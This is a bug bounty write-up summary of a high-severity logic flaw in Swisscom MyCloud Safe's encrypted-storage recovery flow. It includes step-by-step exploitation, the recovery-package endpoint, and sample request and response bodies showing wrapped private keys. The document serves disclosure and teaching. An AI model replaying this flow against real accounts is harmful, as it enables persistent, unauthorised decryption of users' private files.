# Discovering Logic Vulnerabilities in Swisscom's End-to-End Encrypted Cloud Storage

Swisscom MyCloud Safe's recovery flow returned the wrapped recovery passphrase before consuming the recovery code, letting an attacker unwrap private keys and keep persistent access.

- Payout: unconfirmed
- Severity: high
- Program: Swisscom
- Found by: Thomas Houhou
- Disclosed: 2024-04-08
- Write-up quality: 8/10
- Original: https://www.thomashouhou.com/post/logic-vulnerabilities-swisscom-e2ee-cloud-storage
- Library page: https://bugbountylibrary.com/r/blog%3Athomashouhou-com-post-logic-vulnerabilities-swisscom-e2ee-cloud-storage
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high technique:js-analysis technique:source-review vuln:access-control vuln:business-logic vuln:crypto vuln:info-disclosure

**Target:** E2E-encrypted cloud storage web app (client-side JS + /safe and /safe/recovery-package endpoints)
**Root cause:** Recovery code was only consumed at the final PATCH step, but the step-2 POST /safe/recovery-package response already returned the wrapped recovery passphrase and wrapped private keys, sufficient to decrypt everything client-side. Separately, passphrase reset re-wrapped the same static private keys, so a prior key compromise persisted.
**Steps:**
1. Init MyCloud Safe, observe passphrase submission triggers no HTTP request; inspect client JS to map key wrapping (passphrase KEK wraps private keys; recovery code KEK wraps recovery passphrase; recovery passphrase KEK wraps private keys).
2. Trigger recovery: enter recovery code, observe body-less `POST /safe/recovery-package/[HASH_OF_RECOVERY_CODE]`.
3. Response contains `passphrase_protected_keys` (wrapped private keys) and `recovery_code.passphrase.d` (recovery passphrase wrapped by the recovery code).
4. Client-side: unwrap `recovery_code.passphrase.d` with the recovery code to get the recovery passphrase, then unwrap `signingKey.pri.d` and `userKey.pri.d` with it to obtain plain private keys.
5. Abort the flow before the final PATCH; recovery code remains valid and unconsumed.
6. For vuln 1: compare `/safe` JSON before/after passphrase reset; `pub.d` unchanged implies static private key, only passphrase re-wraps it.
**How found:** Noticed passphrase submission triggered no HTTP request, prompting JS review; mapped the layered KEK scheme (passphrase, recovery passphrase, recovery codes) and then questioned when the recovery code is actually consumed versus when key material is returned.
**Exploitation:** An attacker with a valid recovery code (or who observes the step-2 response) can decrypt the user's private keys entirely client-side after only step 2, without completing the reset and without consuming the code, retaining persistent access to E2E-protected files even if the user later resets the passphrase.
**Escalation:** Persistent access: because private keys are static across passphrase resets, a one-time key compromise survives any reset, defeating the expected revocation.
**Insight:** In multi-step crypto recovery flows, check whether the server returns enough wrapped material to decrypt before the credential is invalidated; if the recovery code is only consumed at the final step, the intermediate response is a full bypass. Also verify whether reset actually rotates private keys by diffing public keys.

## Proof of concept (copied exactly from the original report)

**Recovery-package POST returns wrapped passphrase and keys**

```
https://safe-backend.prod.mdl.swisscom.ch/safe/recovery-package/[HASH_OF_RECOVERY_CODE]


This POST request leads to an HTTP response with a JSON body of the following form:

{
 "passphrase_protected_keys":{
 "signingKey":{
 "id":"0140c60f-d416-6986-0e2d-34346b95c350",
 "pub":{
 "d":"eyJrdHkiOiJFQyIsImNydiI6Il[...]vTmFxMTc2MmJpZk5zcmUtV3pCdDZ0ZCJ9"
 },
 "pri":{
 "d":"3yVO04ASwgstHGBw[...]ik7nozcISpwO72bR8+O9Ws=",
 "iv":"FbZsFnZCmSSQFkUx"
 }
 },
 "userKey":{
 "id":"6f8abf14-0930-6aae-8120-d7a58bfa8f62",
 "pub":{
 "d":"eyJrdHkiOiJSU0E[...]Xk0Wm1zTTM2YyJ9"
 },
 "pri":{
 "d":"bbRzDBhltDE7t[...]XQJrzk0q0nRyYzLU4f/y5V3YOzFw1nufVY2ZcZUnXhZ+tiqT",
 "iv":"ud72bkPNyxJOMyn3"
 }
 },
 "keyDerivationInfo":{
 "salt":"tTrZFYZ2HR+j42yofZKKTQ==",
 "iterationCount":300000,
 "algo":"PBKDF2"
 }
 },
 "recovery_code":{
 "keyDerivationInfo":{
 "salt":"wujxdmx6EfPJgIEu26Sl1A==",
 "iterationCount":300000,
 "algo":"PBKDF2"
 },
 "hash":"[HASH_OF_RECOVERY_CODE]",
 "passphrase":{
 "d":"JwIdjRCYwvtaVy2ekZ3toLG9/wRWlSYcsVGkMOm9VfJacwN6R62PjgqHaU+wH5fM",
 "iv":"4LsBSiiZVRtVjABm"
 }
 }
}
```

**PATCH /safe pw_change_with_recovery request body**

```
PATCH /safe HTTP/1.1
Host: safe-backend.prod.mdl.swisscom.ch
Cookie:[...]
[...Headers]
Content-Type: application/json;

{
 "type":"pw_change_with_recovery",
 "diff":{
 "keyDerivationInfo":{
 "algo":"PBKDF2",
 "iterationCount":300000,
 "salt":"bgZkT5NSoBovAF1JBRXRwQ=="
 },
 "signingKey":{
 "id":"0140c60f-d416-6986-0e2d-34346b95c350",
 "pub":{
 "d":"eyJhbGci[...]nQ2dGQifQ=="
 },
 "pri":{
 "d":"oU9Ukd7A54Ef[...]xmkwKk2I=",
 "iv":"LYkqQcCOapFKKMQP"
 }
 },
 "userKey":{
 "id":"6f8abf14-0930-6aae-8120-d7a58bfa8f62",
 "pub":{
 "d":"eyJhbGciOiJ[...]0zNmMifQ=="
 },
 "pri":{
 "d":"APicSIKJTy[...]e+tE+P2LZnNcUGx",
 "iv":"8ANrh21eTsOLfAeh"
 }
 },
 "recoveryCodeHash":"[HASH_OF_RECOVERY_CODE]"
 }
}
```

